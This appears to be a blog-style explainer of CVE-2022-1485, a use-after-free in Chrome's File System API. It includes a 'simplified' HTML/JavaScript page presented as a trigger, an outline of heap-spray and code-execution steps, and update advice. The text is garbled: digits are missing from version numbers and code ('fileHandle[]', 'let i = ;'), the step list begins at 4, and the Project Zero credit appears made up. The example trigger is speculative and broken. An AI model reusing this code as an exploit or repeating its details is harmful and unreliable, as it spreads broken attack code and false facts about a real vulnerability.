In April 2022, Google fixed a security flaw in Chrome, tracked as CVE-2022-1485, that could let attackers exploit heap corruption ​[source](https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_26.html)​. This bug involved a use-after-free vulnerability in the File System API present in Chromium-based browsers before version 101..4951.41.

If you're new to terms:
- Use-after-free (UAF): Programming bug where code tries to use memory after it’s been released (freed), causing unexpected behavior or security issues.
- File System API: Allows web applications to read/write files on the client’s local file system (with user permission).

Let’s break down how this bug could be triggered with a crafted HTML page, why it’s dangerous, and look at exploit details.

What is CVE-2022-1485?

CVE-2022-1485 is a use-after-free vulnerability in Google Chrome's File System API. According to Google’s advisory:

> “Use after free in File System API in Google Chrome prior to 101..4951.41 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.”

Reference: https://nvd.nist.gov/vuln/detail/CVE-2022-1485

Technical Details

When a web page interacts with the File System API, Chrome manages file handles in memory. Due to flawed logic, a file handle could be freed while still in use if certain actions were chained in quick succession — say, opening and closing a file rapidly, or acting on file references after deletion.

If an attacker can trigger the use of a freed file handle, they can corrupt memory on the heap. This can lead to browser crashes or, worse, arbitrary code execution with the privileges of the victim's Chrome process.

Example of a Crafted HTML Page Triggering UAF

Here’s a simplified example code that could trigger a use-after-free bug. This snippet rapidly creates and closes file handles via the File System Access API:

<!DOCTYPE html>
<html>
<body>
<script>
async function triggerUAF() {
    // Prompt the user to pick a file (requires user gesture)
    const fileHandle = await window.showOpenFilePicker();
    
    // Get the file from handle and read
    const file = await fileHandle[].getFile();
    console.log("File selected:", file.name);

    // Open same handle multiple times
    for (let i = ; i < 100; i++) {
        // Open file for reading and writing
        let writable = await fileHandle[].createWritable();
        // Rapidly close
        await writable.close();
    }
    
    // Try to access handle after closing
    // This may invoke use-after-free logic in vulnerable Chrome
    fileHandle[].remove().then(() => {
        console.log("Handle removed!");
    });
}

triggerUAF().catch(console.error);
</script>
</body>
</html>

How could this cause a UAF?
Repeatedly acquiring, using, and disposing file handles may confuse Chrome’s internal resource management, leading it to use objects after they’re freed — if you chain removal and other API calls, the freed memory could be accessed.

Note: Modern Chrome versions block this, but pre-101..4951.41 may crash or behave unexpectedly.

Use-after-Free: Chrome attempts to use a freed object; heap memory is corrupted.

4. Heap Spray (Optional): Attacker fills heap with their own data (e.g., JavaScript objects) to gain control of freed memory.
5. Code Execution: If attacker’s data is executed or dereferenced, can gain code execution privileges in browser context.

Researchers managed to crash browsers reliably and, in theory, could execute arbitrary code given advanced heap manipulation.

April 2022: Google assigns CVE-2022-1485 and fixes the bug in Chrome 101..4951.41

- Patch Release: Chrome Stable Channel Update for Desktop – 2022-04-26
- Disclosure: Security researchers and Chromium team credit fix to Project Zero ([project-zero@google.com](mailto:project-zero@google.com))

Auto updates: Chrome auto-updates, but older installs may be at risk.

- Avoid suspicious sites: Don’t open unknown HTML files in your browser, especially on outdated systems.

Chrome Security Advisory:

https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_26.html

NVD Details:

https://nvd.nist.gov/vuln/detail/CVE-2022-1485

Chromium Security Page:

https://www.chromium.org/developers/how-tos/bug-reporting-guidelines/

Takeaway

This bug shows that even modern browsers can have memory management flaws with powerful APIs like File System Access. While the average user is safe if they keep Chrome updated, CVE-2022-1485 shows the ongoing arms race between browser vendors and attackers — and why timely updates are critical.

Timeline

Published on: 07/26/2022 22:15:00 UTC
Last modified on: 08/15/2022 11:16:00 UTC